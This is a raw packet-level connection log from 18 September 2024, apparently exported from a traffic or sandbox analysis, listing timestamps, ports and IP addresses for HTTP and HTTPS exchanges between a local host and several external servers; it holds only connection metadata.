Sep 18, 2024 14:30:09.112299919 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.112313032 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.112325907 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.112348080 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.112354040 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.112360001 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.112371922 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.112376928 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.112385035 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.112396955 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.112402916 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.112411976 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.112422943 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.112430096 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.112447977 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.112468004 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.112495899 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.112509012 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.112519979 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.112533092 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.112545013 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.112550020 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.112559080 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.112570047 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.112576008 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.112581968 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.112593889 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.112618923 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.112766027 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.112778902 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.112790108 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.112807989 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.112812042 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.112819910 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.112826109 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.112833023 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.112843990 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.112854958 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.112864971 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.112874031 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.112885952 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.112886906 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.112899065 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.112910986 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.112911940 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.112925053 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.112936020 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.112937927 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.112951994 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.112961054 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.112978935 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.113013983 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.113056898 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.113075018 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.113101959 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.113111973 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.113130093 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.113142014 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.113153934 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.113167048 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.113171101 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.113178968 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.113202095 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.113248110 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.113260031 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.113272905 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.113286018 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.113286018 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.113298893 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.113308907 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.113312006 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.113337994 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.113347054 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.113497972 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.113518953 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.113531113 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.113543034 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.113543987 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.113555908 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.113559008 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.113569021 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.113585949 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.113607883 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.113609076 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.113620996 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.113640070 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.113648891 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.113652945 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.113672972 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.113687992 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.113718987 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.113738060 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.113750935 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.113760948 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.113765001 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.113771915 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.113778114 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.113801956 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.113801956 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.113816977 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.113845110 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.113858938 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.113872051 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.113883972 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.113888025 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.113898039 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.113905907 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.113929987 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.113953114 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.114058018 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.114101887 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.114108086 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.114145041 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.186775923 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.186793089 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.186804056 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.186891079 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.186924934 CEST	443	49714	185.166.143.50	192.168.2.7
Sep 18, 2024 14:30:10.186937094 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.186954975 CEST	443	49714	185.166.143.50	192.168.2.7
Sep 18, 2024 14:30:10.186997890 CEST	49714	443	192.168.2.7	185.166.143.50
Sep 18, 2024 14:30:10.187000990 CEST	443	49714	185.166.143.50	192.168.2.7
Sep 18, 2024 14:30:10.187028885 CEST	49714	443	192.168.2.7	185.166.143.50
Sep 18, 2024 14:30:10.187041998 CEST	49714	443	192.168.2.7	185.166.143.50
Sep 18, 2024 14:30:10.187098026 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.187118053 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.187119961 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.187129021 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.187136889 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.187143087 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.187155008 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.187166929 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.187177896 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.187186003 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.187186003 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.187186003 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.187196970 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.187210083 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.187221050 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.187232018 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.187242031 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.187254906 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.187261105 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.187261105 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.187261105 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.187275887 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.187288046 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.187299967 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.187310934 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.187316895 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.187318087 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.187323093 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.187335968 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.187355042 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.187366009 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.187377930 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.187397003 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.187397003 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.187397003 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.187405109 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.187417984 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.187428951 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.187439919 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.187448025 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.187448025 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.187472105 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.188040972 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.188054085 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.188065052 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.188076973 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.188083887 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.188090086 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.188098907 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.188102007 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.188114882 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.188126087 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.188127041 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.188138962 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.188139915 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.188157082 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.188174009 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.188188076 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.188203096 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.188214064 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.188224077 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.188226938 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.188239098 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.188240051 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.188255072 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.188261032 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.188268900 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.188280106 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.188286066 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.188292980 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.188303947 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.188303947 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.188317060 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.188328981 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.188328981 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.188342094 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.188354969 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.188360929 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.188369036 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.188376904 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.188380003 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.188405991 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.188429117 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.188987970 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.188999891 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189012051 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189023972 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189034939 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189038038 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.189048052 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189059973 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189064980 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.189073086 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189083099 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.189085007 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189099073 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189114094 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189121962 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.189126015 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189135075 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.189146996 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189153910 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.189162016 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189174891 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.189179897 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.189187050 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.189198017 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.189201117 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.189213037 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.189227104 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.189239025 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189239979 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.189249992 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189256907 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.189260960 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189268112 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.189273119 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189281940 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.189282894 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189292908 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.189297915 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.189316988 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.189327955 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.189332962 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.189341068 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.189352989 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.189357996 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.189366102 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.189377069 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.189378977 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189390898 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189400911 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.189403057 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189414024 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189425945 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189425945 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.189438105 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.189444065 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.189450026 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.189459085 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.189475060 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.189485073 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.189487934 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.189496040 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189507008 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189508915 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.189517975 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189529896 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189541101 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189543009 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.189543009 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.189553976 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189565897 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189572096 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.189577103 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189588070 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.189590931 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189604044 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189614058 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.189615011 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189627886 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189641953 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.189646006 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189657927 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189661980 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.189671040 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189677954 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.189685106 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.189701080 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.189707041 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.189712048 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.189723015 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.189733982 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.189735889 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.189744949 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.189754963 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.189757109 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.189768076 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.189773083 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.189779043 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.189793110 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.189795971 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.189806938 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.189817905 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.189827919 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.189840078 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.189842939 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.189851999 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.189861059 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.189867020 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.189877033 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.189887047 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.189888000 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189899921 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189910889 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.189912081 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189925909 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189934969 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.189939976 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189950943 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.189951897 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189965010 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189975023 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.189982891 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.189986944 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.190001011 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.190007925 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.190011024 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.190021992 CEST	49706	80	192.168.2.7	147.45.44.104
